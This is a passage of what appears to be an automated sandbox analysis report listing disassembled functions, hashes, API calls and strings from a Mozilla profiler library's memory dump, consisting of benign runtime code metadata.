Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: A7320971E0061A8FDB25CF98C890AADFBF2FF88304F548569C549A7745D731A986CF90

Function 6C576E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qPl, xrefs: 6C5779C0, 6C577E0B, 6C57793C, 6C5779FB, 6C577C03, 6C577B0B, 6C577C72

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID:
String ID: ~qPl
API String ID: 0-19430131
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 97ad1b631b1f2afc9531a006667ae1ac8d9f8519a6d8b7bbabfee91e7464f184
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6E22F871E002198FDB25CF98C980AADF7B2FF88304F6485A9C949A7745D731A986CF90

Function 6C545C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C514A63,?,?), ref: 6C545F06

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 793fd710edc7fefe64f575621c6b0fd8b497b5397d6d495d58e02de980295647
Instruction ID: d9c84961faf9c9f67c4ae13043ed1d133acfda1cd287b2da95b05f20a0ac4001
Opcode Fuzzy Hash: 793fd710edc7fefe64f575621c6b0fd8b497b5397d6d495d58e02de980295647
Instruction Fuzzy Hash: C2C1D275D012199BCB04CF95C9906EEBBF2FF8A318FA8815DD8556BB44D732A906CF80

Function 6C50DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7146465de00319d0aad2f8bc367455e820a6f6254d3b02b5538f1834692cc79c
Instruction ID: c35ad72523b9ad3e5bd69671642aaeadfc7400a2078b86057738b966042bb06a
Opcode Fuzzy Hash: 7146465de00319d0aad2f8bc367455e820a6f6254d3b02b5538f1834692cc79c
Instruction Fuzzy Hash: 4642B072B087518BD304CE2CC89175AB3E2BFC9364F194B2DE899E7791E774D9418B81

Function 6C530512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 7acb64a030cf3f1b79f41243d7b5e9df13a20396213e0d1327e8302e49c3490f
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 98221871E04629CFCB14CF98C890AADF7B2FF88304F548659D44AAB745D731A985CF90

Function 6C57AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e23b633b7e431135bcb6f4123875aa1d9c9159d15393481169c8741c413ece56
Instruction ID: 8f624f5992682c7e71b7104e15b470ab56ece29e528187426e2a231918f83f02
Opcode Fuzzy Hash: e23b633b7e431135bcb6f4123875aa1d9c9159d15393481169c8741c413ece56
Instruction Fuzzy Hash: F1F138726087458FD720CE28CC907AAB7E6AFC5318F159A2DE8D4877C1E774D8C587A2

Function 6C50C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 24e975d400a5d9ea1be1ca13928346d0d36f14b94f5b07f804955124a0c96262
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 5EA1A271F0061A8FDB08CE69C8913AEB7F2AFC9354F198169D915E7781D7346C068BE1

Function 6C547710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: e02ad3b57dba82a2b9b92802576984e7a6971ee01e4cd55c2e0daf2d7fb71776
Instruction ID: 1949f691cdfc5661b9c032585c97e3a0e5276048b1944a85cdf3e488b3e12677
Opcode Fuzzy Hash: e02ad3b57dba82a2b9b92802576984e7a6971ee01e4cd55c2e0daf2d7fb71776
Instruction Fuzzy Hash: E1715B75E012198FCF18CFA9D8905EEBBB2FF89354F64816ED816AB740D731A905CB90

Function 6C54CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C51582D), ref: 6C54CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C51582D), ref: 6C54CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C57FE98,?,?,?,?,?,6C51582D), ref: 6C54CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C51582D), ref: 6C54CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C51582D), ref: 6C54CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C51582D), ref: 6C54CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C51582D), ref: 6C54CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C54CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C54CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C54CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C54CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C54CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C54CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C54CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C54CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C54CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C54CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C54CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C54CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C54CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C54CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C54CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C54CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C54CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C54CE8A

Strings

noiostacks, xrefs: 6C54CCBE
notimerresolutionchange, xrefs: 6C54CE00
Unrecognized feature "%s"., xrefs: 6C54CEA0
seqstyle, xrefs: 6C54CCE6
nostacksampling, xrefs: 6C54CD7C
stackwalk, xrefs: 6C54CCF8
jsallocations, xrefs: 6C54CD0E
markersallthreads, xrefs: 6C54CE42
default, xrefs: 6C54CC21
unregisteredthreads, xrefs: 6C54CE58
cpuallthreads, xrefs: 6C54CE16
screenshots, xrefs: 6C54CCD4
audiocallbacktracing, xrefs: 6C54CDD4
samplingallthreads, xrefs: 6C54CE2C
ipcmessages, xrefs: 6C54CDBE
stry\src\index.crates.io-6f17d22bba15001f\bytes-1.8.0\src\bytes.rs, xrefs: 6C54CD25
processcpu, xrefs: 6C54CE6E
fileioall, xrefs: 6C54CCA8
power, xrefs: 6C54CE84
leaf, xrefs: 6C54CC66
fileio, xrefs: 6C54CC92
java, xrefs: 6C54CC37
preferencereads, xrefs: 6C54CD92
nativeallocations, xrefs: 6C54CDA8
mainthreadio, xrefs: 6C54CC7C

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$stry\src\index.crates.io-6f17d22bba15001f\bytes-1.8.0\src\bytes.rs$unregisteredthreads
API String ID: 1004003707-3853028390
Opcode ID: 471a9afacc57e543fb907dbd7f209546627d0f73b09a203257f717ccf775c574
Instruction ID: 7d0698f7981bc5a3fe0a979726ef6ad84ff229092ec1881a2aa596511873e9f2
Opcode Fuzzy Hash: 471a9afacc57e543fb907dbd7f209546627d0f73b09a203257f717ccf775c574
Instruction Fuzzy Hash: 1E51B8F1A0626562FA1571196D10BAA1408EFD334AF10C43AED0BA1F80FF05FA9D87B7

Function 6C5147C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C514801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C514817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C51482D
__Init_thread_footer.LIBCMT ref: 6C51484A

Part of subcall function 6C53AB3F: EnterCriticalSection.KERNEL32(6C58E370,?,?,6C503527,6C58F6CC,?,?,?,?,?,?,?,?,6C503284), ref: 6C53AB49
Part of subcall function 6C53AB3F: LeaveCriticalSection.KERNEL32(6C58E370,?,6C503527,6C58F6CC,?,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53AB7C

GetCurrentThreadId.KERNEL32 ref: 6C51485F
GetCurrentThreadId.KERNEL32 ref: 6C51487E
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C51488B
free.MOZGLUE(?), ref: 6C51493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C514956
free.MOZGLUE(00000000), ref: 6C514960
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C51499A

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

free.MOZGLUE(?), ref: 6C5149C6
free.MOZGLUE(?), ref: 6C5149E9

Part of subcall function 6C525E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C525EDB
Part of subcall function 6C525E90: memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C525F27
Part of subcall function 6C525E90: LeaveCriticalSection.KERNEL32(?), ref: 6C525FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5147FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C514A42
[I %d/%d] profiler_shutdown, xrefs: 6C514A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C514812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C514828

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: b24e3bb1561677ee7ec98e2a9010a145c133aee83954bc8ac66ccb77e66bb791
Instruction ID: 3ed46fbe3e4ff9482cbd1af091959baffd53d5cf34ebe989acd050904e33d9bb
Opcode Fuzzy Hash: b24e3bb1561677ee7ec98e2a9010a145c133aee83954bc8ac66ccb77e66bb791
Instruction Fuzzy Hash: A0811471A0A120CBEB00DF28CC9875A33B5EF4731CF162629D91697F81E731E854CB9A

Function 6C514470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C514730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5144B2,6C58E21C,6C58F7F8), ref: 6C51473E
Part of subcall function 6C514730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C51474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5144BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5144D2
InitOnceExecuteOnce.KERNEL32(6C58F80C,6C50F240,?,?), ref: 6C51451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C51455C
LoadLibraryW.KERNEL32(?), ref: 6C514592
InitializeCriticalSection.KERNEL32(6C58F770), ref: 6C5145A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5145AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5145BB
InitOnceExecuteOnce.KERNEL32(6C58F818,6C50F240,?,?), ref: 6C514612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C514636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C514644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C51466D
VerSetConditionMask.NTDLL ref: 6C51469F
VerSetConditionMask.NTDLL ref: 6C5146AB
VerSetConditionMask.NTDLL ref: 6C5146B2
VerSetConditionMask.NTDLL ref: 6C5146B9
VerSetConditionMask.NTDLL ref: 6C5146C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5146CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5146F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5146FD

Strings

kernel32.dll, xrefs: 6C5144CD
GXl, xrefs: 6C5144FC
WRusr.dll, xrefs: 6C5144B5
user32.dll, xrefs: 6C514557, 6C51463F
NativeNtBlockSet_Write, xrefs: 6C5146F7
l, xrefs: 6C514578

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GXl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1836226811
Opcode ID: 6fdb00b94e842d1de4473c7eb576d011c3158d12e4d808c2b5a8e6f7886422bd
Instruction ID: 71148b4c2371ef85996f8a81a6ce083c86270d276d650793c8faab4f3cb4ff3c
Opcode Fuzzy Hash: 6fdb00b94e842d1de4473c7eb576d011c3158d12e4d808c2b5a8e6f7886422bd
Instruction Fuzzy Hash: 7B6119B0606364AFFF00AF60CC09B9977F8EB4B30CF15A659E9049BA41D7B09985CF64

Function 6C54F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C54F8F9

Part of subcall function 6C516390: GetCurrentThreadId.KERNEL32 ref: 6C5163D0
Part of subcall function 6C516390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5163DF
Part of subcall function 6C516390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C51640E

ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F93A
GetCurrentThreadId.KERNEL32 ref: 6C54F98A
GetCurrentThreadId.KERNEL32 ref: 6C54F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F716

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

Part of subcall function 6C50B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C50B5E0

GetCurrentThreadId.KERNEL32 ref: 6C54F739
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F746
GetCurrentThreadId.KERNEL32 ref: 6C54F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C58385B,00000002,?,?,?,?,?), ref: 6C54F829
free.MOZGLUE(?,?,00000000,?), ref: 6C54F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C54F866
free.MOZGLUE(?), ref: 6C54FA0C

Part of subcall function 6C515E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5155E1), ref: 6C515E8C
Part of subcall function 6C515E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C515E9D
Part of subcall function 6C515E60: GetCurrentThreadId.KERNEL32 ref: 6C515EAB
Part of subcall function 6C515E60: GetCurrentThreadId.KERNEL32 ref: 6C515EB8
Part of subcall function 6C515E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C515ECF
Part of subcall function 6C515E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C515F27
Part of subcall function 6C515E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C515F47
Part of subcall function 6C515E60: GetCurrentProcess.KERNEL32 ref: 6C515F53
Part of subcall function 6C515E60: GetCurrentThread.KERNEL32 ref: 6C515F5C
Part of subcall function 6C515E60: GetCurrentProcess.KERNEL32 ref: 6C515F66
Part of subcall function 6C515E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C515F7E

free.MOZGLUE(?), ref: 6C54F9C5
free.MOZGLUE(?), ref: 6C54F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C54F9A6
Thread , xrefs: 6C54F789
" attempted to re-register as ", xrefs: 6C54F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C54F71F

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 795fc8ddf40f43489c61d6a1d167fc9af99ef706c3d4834dffd4d2568133d7ea
Instruction ID: 671da3f96f6f6045d9d0adfb6217e8931d3f3b45e287e62d80d92b5682637a66
Opcode Fuzzy Hash: 795fc8ddf40f43489c61d6a1d167fc9af99ef706c3d4834dffd4d2568133d7ea
Instruction Fuzzy Hash: E481E571A05610DFDB10DF28CC80AAAB7F5EFC5308F55865DE8459BB51EB309C49CBA2

Function 6C54EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54EE60
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EE6D
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C54EEA5
CloseHandle.KERNEL32(?), ref: 6C54EEB4
free.MOZGLUE(00000000), ref: 6C54EEBB
GetCurrentThreadId.KERNEL32 ref: 6C54EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54EECF

Part of subcall function 6C54DE60: GetCurrentThreadId.KERNEL32 ref: 6C54DE73
Part of subcall function 6C54DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C514A68), ref: 6C54DE7B
Part of subcall function 6C54DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C514A68), ref: 6C54DEB8
Part of subcall function 6C54DE60: free.MOZGLUE(00000000,?,6C514A68), ref: 6C54DEFE
Part of subcall function 6C54DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C54DF38

